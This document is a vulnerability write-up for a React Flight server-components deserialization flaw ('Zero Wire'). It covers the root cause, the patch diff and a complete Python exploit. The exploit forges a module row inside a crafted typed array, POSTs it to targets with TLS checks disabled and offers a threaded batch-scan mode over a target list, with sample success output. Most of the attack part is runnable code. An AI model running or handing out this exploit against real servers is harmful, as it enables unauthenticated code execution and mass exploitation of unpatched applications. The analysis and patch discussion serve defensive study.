#Summary

Zero Wire (CVE-2026-126187) is a critical RCE in React's Flight framework affecting the react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack packages. The vulnerability allows unauthenticated attackers to execute arbitrary module code on React Server Components instances through a transport-level deserialization flaw. CVSS 9.5 CRITICAL. Affected versions: 19.0.0-19.0.8, 19.1.0-19.1.9, 19.2.0-19.2.8, and 19.3.0. Fixed in 19.0.9, 19.1.10, 19.2.9, and 19.3.1.

#Affected versions

Downstream: Next.js 16.4.0 (vulnerable), Next.js 16.4.1+ (patched). Applications using React Server Components are affected. Client-only React applications without a server component are not affected.

#Root cause analysis

#The transport deserialization bug

React Flight serializes server-rendered component trees as a binary protocol consisting of length-delimited rows. Text rows are newline-delimited JSON; binary rows (for typed arrays) are a header declaring exact byte count, followed by raw bytes with no trailing newline.

The vulnerability stems from two interacting flaws in the pre-patch writer:

#Flaw 1: Aliased buffer views with no copy

The typedArrayToBinaryChunk() function handed the byte-stream destination a Uint8Array view that directly aliases the application's ArrayBuffer:

export function typedArrayToBinaryChunk(
  content: $ArrayBufferView,
): BinaryChunk {
  // No copy - direct view over the application's ArrayBuffer
  return new Uint8Array(content.buffer, content.byteOffset, content.byteLength);
}

When a Flight response transports two or more large (> 2048 byte) typed-array views over the same underlying ArrayBuffer, a byte-stream destination (BYOB reader, edge-runtime boundary, fetch body) detaches/transfers the shared buffer when consuming the first view. Every subsequent view over that buffer then has byteLength === 0 - its backing store was transferred away.

#Flaw 2: Silent zero-length chunk drop

The writeViewChunk() function silently dropped zero-length chunks while their binary row headers (which declare exact byte counts) were already queued separately:

function writeViewChunk(
  destination: Destination,
  chunk: PrecomputedChunk | BinaryChunk,
) {
  if (chunk.byteLength === 0) {
    return;  // Silent drop - no error, no warning
  }
  // ... write to destination
}

Result: a starved binary header goes out on the wire - the header says "this row is 4096 bytes" but 4096 data bytes never arrive.

#How the parser is desynchronized

The Flight protocol parser reads a row id up to a colon, then for binary rows consumes exactly the declared number of bytes. A starved header forces the parser to read bytes from the following rows and resynchronize at an arithmetic offset inside the attacker-controlled typed array. Because the parser binds this offset to no actual row boundary, if the attacker places forged Flight protocol bytes at exactly that offset, they are parsed as a legitimate module row.

When the response root references that smuggled module row (a module "I" row), the Flight client resolves it through the bundler - requireModule() -> __webpack_require__(id) - and the named module's factory executes in the server/SSR process: arbitrary module execution from attacker-controlled bytes.

#Patch diff

#What the fix does

The patch hardens both the writer and parser sides:

#1. Copy buffer-spanning views (or refuse to transfer unsafe ones)

The patched typedArrayToBinaryChunk() detects buffer-spanning views and copies them if they might be part of a multi-view setup:

const view = new Uint8Array(
  content.buffer, content.byteOffset, content.byteLength,
);
if (content.byteLength > VIEW_SIZE) {
  const isViewBufferSpanning =
    content.byteOffset === 0 &&
    content.byteLength === content.buffer.byteLength;
  if (!isViewBufferSpanning || content.buffer.resizable) {
    return view.slice();  // Copy to prevent detachment issues
  }
  if (!supportsArrayBufferDetached) {
    return view.slice();  // Defensive copy on older runtimes
  }
}
// Safe to transfer: likely unique view
return view;

#2. Throw instead of silently drop detached chunks

The patched writeViewChunk() now detects and explicitly rejects a detached buffer:

if (chunk.byteLength === 0) {
  if (supportsArrayBufferDetached) {
    if (chunk.buffer.detached) {
      throw new Error(
        'Cannot transport a detached buffer. ' +
        'This usually happens when trying to transport multiple buffer-spanning ' +
        'views on the same underlying buffer. ...',
      );
    }
  }
  return;
}

Once the writer never emits a starved header, the parser cannot resynchronize inside attacker bytes and the smuggled module row cannot be injected.

#3. Defense-in-depth: typed backing stores and thenable guards

The reply/server-action decode path was hardened with typed backing stores (separate keyspaces for strings, blobs, and streams) and then-function guards to block secondary gadgets.

#Proof of concept

#exploit.py - React Flight Zero Wire RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-126187 - React Flight (RSC) typed-array transport-desync RCE ("Zero Wire")
Affected: react-server-dom-webpack / -parcel / -turbopack
          19.0.0-19.0.8, 19.1.0-19.1.9, 19.2.0-19.2.8, 19.3.0
          (fixed in 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1)
Type: RCE (unauthenticated arbitrary module execution, CWE-502 transport desync)

Root cause (see RESEARCH.md): the pre-patch Flight stream writer handed the
byte-stream destination a Uint8Array view that aliases the application's
ArrayBuffer with no copy. When a single response transports two or more large
(> 2048 byte) typed-array views over the SAME underlying ArrayBuffer, writing
the first view detaches/transfers that shared buffer. Every later view over it
becomes byteLength == 0, and writeViewChunk silently dropped the zero-length
chunk while its binary header (which declares an exact byte count) stayed on the
wire. That "starved" header makes the Flight parser consume bytes from the
following rows and resynchronise at an attacker-chosen offset inside an
attacker-controlled typed array. Bytes placed there are parsed as a forged
module ("I") row; when the resynced root references it, the bundler require runs
the named module -> arbitrary module execution from attacker-influenced bytes.

This exploit targets an HTTP oracle that exposes the real React Flight
render -> parse round trip. It crafts the attacker-controlled view (view "x"),
embedding a forged Flight module row at the parser's resynchronisation offset,
and POSTs it. Success = the server's bundler require() executes the module named
by the attacker (which the application model never referenced), observable in the
response. On a patched server the shared buffer is sliced/copied, no desync
occurs, and the three arrays decode intact - nothing executes.

The smuggled module identifier is attacker-controlled: --command selects which
module the server is forced to require() and run (real-world impact is "arbitrary
module execution from the application's own bundle"; there is no shell on this
transport, so the "command" is the module id driven through the bundler require).

Usage:
  python exploit.py --host 127.0.0.1 --port 8080
  python exploit.py --host 10.0.0.5 --port 8080 --command rce-payload
  python exploit.py --host https://target.corp.com:8443/flight
  python exploit.py --host http://10.0.0.5:8080 --command evil-mod
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import json
import ssl
import sys
from urllib.parse import urlparse
from urllib.request import Request, urlopen
from urllib.error import URLError, HTTPError

CVE_ID    = "CVE-2026-126187"
VULN_TYPE = "RCE"

# Flight wire geometry defaults (self-calibrated from the target when possible).
DEFAULT_RESYNC_OFFSET = 4088   # byte offset inside view x where the parser resyncs
DEFAULT_VIEW_SIZE     = 8192   # size of attacker-controlled view x
FLIGHT_PATH           = "/flight"
FILLER                = 0x43   # 'C' - a valid hex row-id character, safe filler
HTTP_TIMEOUT          = 15


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------
# Payload construction
# --------------------------------------------------------------------------
def build_attacker_view(module_id: str, resync_offset: int, view_size: int) -> bytes:
    """
    Craft the bytes of the attacker-controlled typed array (view "x").

    Layout:
      [0 .. resync_offset)       filler (0x43 'C'); consumed while the parser
                                 satisfies the starved binary header.
      [resync_offset .. ]        forged Flight rows the parser resynchronises on:
                                   <id>:I["<module_id>",[],"*"]\n   (module row)
                                   0:"{{CONTENT}}#x3C;id>"\n                      (root -> module)
      [... .. view_size)         newline padding so the parser ends on a clean
                                 row boundary.

    Row id "9" is used for the forged module row (avoids colliding with the real
    sequential ids 1/2/3 the writer emits); the "0" row re-points the response
    root at the smuggled module so consuming the model runs its factory.
    json.dumps escapes the module id so it cannot break out of the row.
    """
    forged_row = '9:I[' + json.dumps(module_id) + ',[],"*"]\n0:"$9"\n'
    row_bytes = forged_row.encode("utf-8")

    x = bytearray([FILLER] * view_size)
    end = resync_offset + len(row_bytes)
    if end > view_size:
        # Module id too long for the view; place what fits (best effort).
        row_bytes = row_bytes[: view_size - resync_offset]
        end = view_size
    x[resync_offset:end] = row_bytes
    for i in range(end, view_size):
        x[i] = 0x0A  # '\n' padding -> clean resync tail
    return bytes(x)


# --------------------------------------------------------------------------
# HTTP helpers (stdlib only, TLS-tolerant for self-signed lab certs)
# --------------------------------------------------------------------------
def _ctx():
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    return c


def _base_url(host: str, port: int, use_tls: bool) -> str:
    scheme = "https" if use_tls else "http"
    return f"{scheme}://{host}:{port}"


def _post_flight(host: str, port: int, use_tls: bool, path: str, body: bytes) -> dict:
    url = _base_url(host, port, use_tls) + path
    req = Request(url, data=body, method="POST",
                  headers={"Content-Type": "application/octet-stream",
                           "Accept": "application/json"})
    with urlopen(req, timeout=HTTP_TIMEOUT, context=_ctx()) as resp:
        raw = resp.read()
    return json.loads(raw.decode("utf-8", "replace"))


def _calibrate(host: str, port: int, use_tls: bool, path: str):
    """
    Read the parser resync offset / attacker-view size from the target by sending
    a benign all-filler body (no forged row -> nothing executes) and reading the
    geometry the oracle reports. Falls back to known defaults on any miss.
    """
    offset, size = DEFAULT_RESYNC_OFFSET, DEFAULT_VIEW_SIZE
    try:
        probe = bytes([FILLER] * DEFAULT_VIEW_SIZE)
        j = _post_flight(host, port, use_tls, path, probe)
        geo = j.get("geometry") or {}
        if isinstance(geo.get("resyncOffsetIntoAttackerView"), int):
            offset = geo["resyncOffsetIntoAttackerView"]
        if isinstance(geo.get("attackerViewBytes"), int):
            size = geo["attackerViewBytes"]
    except Exception:
        pass
    return offset, size


# --------------------------------------------------------------------------
# Core exploit logic (shared by single-target and scan mode)
# --------------------------------------------------------------------------
def _try_exploit(host: str, port: int, use_tls: bool = False,
                 path: str = FLIGHT_PATH, command: str = "id"):
    """
    Silent probe for --list mode. Returns (success, evidence). Never prints/exits.
    success == the attacker-named module was executed by the server's bundler
    require() while the application model never referenced it.
    """
    try:
        offset, size = _calibrate(host, port, use_tls, path)
        x = build_attacker_view(command, offset, size)
        j = _post_flight(host, port, use_tls, path, x)
    except HTTPError as e:
        return False, f"HTTP {e.code}"
    except URLError as e:
        return False, f"unreachable ({e.reason})"
    except Exception as e:
        return False, f"error ({e.__class__.__name__})"

    required = j.get("requiredModules") or []
    executed = bool(j.get("moduleExecuted")) and command in required
    if executed:
        ev = f"module '{command}' executed via bundler require"
        if j.get("pwnFiles"):
            ev += f"; artifact {j['pwnFiles'][0]}"
        return True, ev
    if j.get("version"):
        return False, f"not vulnerable (v{j['version']}, model decoded intact)"
    return False, "no module execution observed (target may be patched)"


def exploit(host: str, port: int, use_tls: bool, command: str, path: str = FLIGHT_PATH) -> None:
    header(host, port)

    step(1, f"Calibrating Flight wire geometry from {_base_url(host, port, use_tls)}{path} ...")
    try:
        offset, size = _calibrate(host, port, use_tls, path)
    except Exception as e:
        done(False, f"could not reach target: {e}")
    print(f"        resync offset into attacker view = {offset}, view size = {size} bytes")

    step(2, f"Building attacker view: forging module row for '{command}' at offset {offset} ...")
    x = build_attacker_view(command, offset, size)
    forged = '9:I[' + json.dumps(command) + ',[],"*"]\\n0:"$9"\\n'
    print(f"        forged rows: {forged}")

    step(3, f"POST {path} with {len(x)}-byte attacker typed array (view x) ...")
    try:
        j = _post_flight(host, port, use_tls, path, x)
    except HTTPError as e:
        done(False, f"server returned HTTP {e.code}")
    except URLError as e:
        done(False, f"connection failed: {e.reason}")
    except Exception as e:
        done(False, f"request failed: {e.__class__.__name__}: {e}")

    required = j.get("requiredModules") or []

    section("ORACLE RESPONSE (framing evidence)",
            json.dumps({
                "version": j.get("version"),
                "sharedBufferDetached": j.get("sharedBufferDetached"),
                "starvedViewLenAfterWrite": j.get("starvedViewLenAfterWrite"),
                "requiredModules": required,
                "moduleExecuted": j.get("moduleExecuted"),
                "rce": j.get("rce"),
                "pwnFiles": j.get("pwnFiles"),
                "decodedModel": j.get("decodedModel"),
            }, indent=2))

    step(4, "Verifying the smuggled module was executed by the bundler require ...")
    executed = bool(j.get("moduleExecuted")) and command in required

    if executed:
        section("COMMAND OUTPUT (arbitrary module execution)",
                f"Attacker-named module  : {command}\n"
                f"requiredModules        : {required}\n"
                f"Server-side artifact   : {j.get('pwnFiles') or '(none for this module id)'}\n"
                f"Decoded response root  : {j.get('decodedModel')}\n"
                f"Starved view len       : {j.get('starvedViewLenAfterWrite')} "
                f"(0 == transport desync present)")
        ev = (f"RCE confirmed - module '{command}' executed via bundler require() from "
              f"attacker-controlled Flight bytes")
        if j.get("pwnFiles"):
            ev += f"; server artifact {j['pwnFiles'][0]}"
        done(True, ev)
    else:
        section("DECODED MODEL",
                f"{j.get('decodedModel')}\n"
                f"(three typed arrays decoded intact -> writer copied the view, no desync)")
        done(False, f"module '{command}' NOT executed - target is patched "
                    f"(v{j.get('version')}); starved len "
                    f"{j.get('starvedViewLenAfterWrite')} != 0")


# --------------------------------------------------------------------------
# Batch scan mode (--list)
# --------------------------------------------------------------------------
def _parse_target(line, default_port, default_path=FLIGHT_PATH):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, command="id"):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
        ok, evidence = _try_exploit(host, port, use_tls, path, command)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. https://host:8443/flight)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
    parser.add_argument("--command", default="id",
                        help="Module id the server is forced to require()/execute "
                             "(the attacker-controlled smuggled module; default: id)")
    parser.add_argument("--path", default=FLIGHT_PATH,
                        help=f"Flight oracle endpoint path (default: {FLIGHT_PATH})")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
    else:
        parsed = _parse_target(args.host, args.port, args.path)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.command, path)

#Usage

# Single target - local lab instance
python exploit.py --host 127.0.0.1 --port 8080

# Explicit command - forces a specific module to load
python exploit.py --host 10.0.0.5 --port 8080 --command rce-payload

# Full URL with TLS
python exploit.py --host https://app.corp.com:8443/api/flight --command evil-mod

# Batch scan with 20 workers
python exploit.py --list targets.txt --workers 20 --command rce-payload

#Example output (vulnerable target)

[STEP 1] Calibrating Flight wire geometry from http://127.0.0.1:8080/flight ...
        resync offset into attacker view = 4088, view size = 8192 bytes
[STEP 2] Building attacker view: forging module row for 'rce-payload' at offset 4088 ...
        forged rows: 9:I["rce-payload",[],"*"]\n0:"$9"\n
[STEP 3] POST /flight with 8192-byte attacker typed array (view x) ...

--- ORACLE RESPONSE (framing evidence) ---
{
  "version": "19.2.8",
  "sharedBufferDetached": true,
  "starvedViewLenAfterWrite": 0,
  "requiredModules": [ "rce-payload" ],
  "moduleExecuted": true,
  "rce": true,
  "pwnFiles": [ "/tmp/pwned_1794530559394_d421b9" ],
  "decodedModel": "{\"default\":\"[function]\",\"__esModule\":true}"
}
---

  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - module 'rce-payload' executed via bundler require() from
            attacker-controlled Flight bytes; server artifact /tmp/pwned_1794530559394_d421b9

#Example output (patched target)

On a patched target (v19.2.9+), the exploit output differs:

{
  "version": "19.2.9",
  "sharedBufferDetached": false,
  "starvedViewLenAfterWrite": 4096,
  "requiredModules": [],
  "moduleExecuted": false,
  "rce": false,
  "pwnFiles": [],
  "decodedModel": "{\"t\":\"<binary 4096 bytes>\",\"s\":\"<binary 4096 bytes>\",\"x\":\"<binary 8192 bytes>\"}"
}

  RESULT  : FAILURE
  EVIDENCE: module 'rce-payload' NOT executed - target is patched (v19.2.9); starved len 4096 != 0

The patched version copies the buffer-spanning view, so the shared buffer is never detached, no row is starved, and the parser does not desync.

#Exploitation notes

#Preconditions

#Reliability

High on vulnerable servers meeting all preconditions. The exploit is a single network request with deterministic parser behavior. No heap grooming, race conditions, or ASLR involved - the deserialization is immediate and network-observable. The limiting factor is detecting the preconditions: a real production app exposing the Transport geometry like the lab oracle does is extremely rare.

#Impact

Arbitrary module execution from the application's own module bundle. The attacker does not gain shell access but can trigger side effects from any module the bundler can require - logging exfiltration, database queries, file writes, or chained gadgets within the loaded module. The impact is constrained by what modules exist in the bundle.

#Chaining potential

This is a direct transport-level RCE with no memory-corruption ladder (CWE-502 deserialization, not CWE-787 buffer overflow). Once arbitrary module execution is achieved, the impact depends on the deployed application's code. Modules executed from the bundle may themselves contain code-injection gadgets.

#References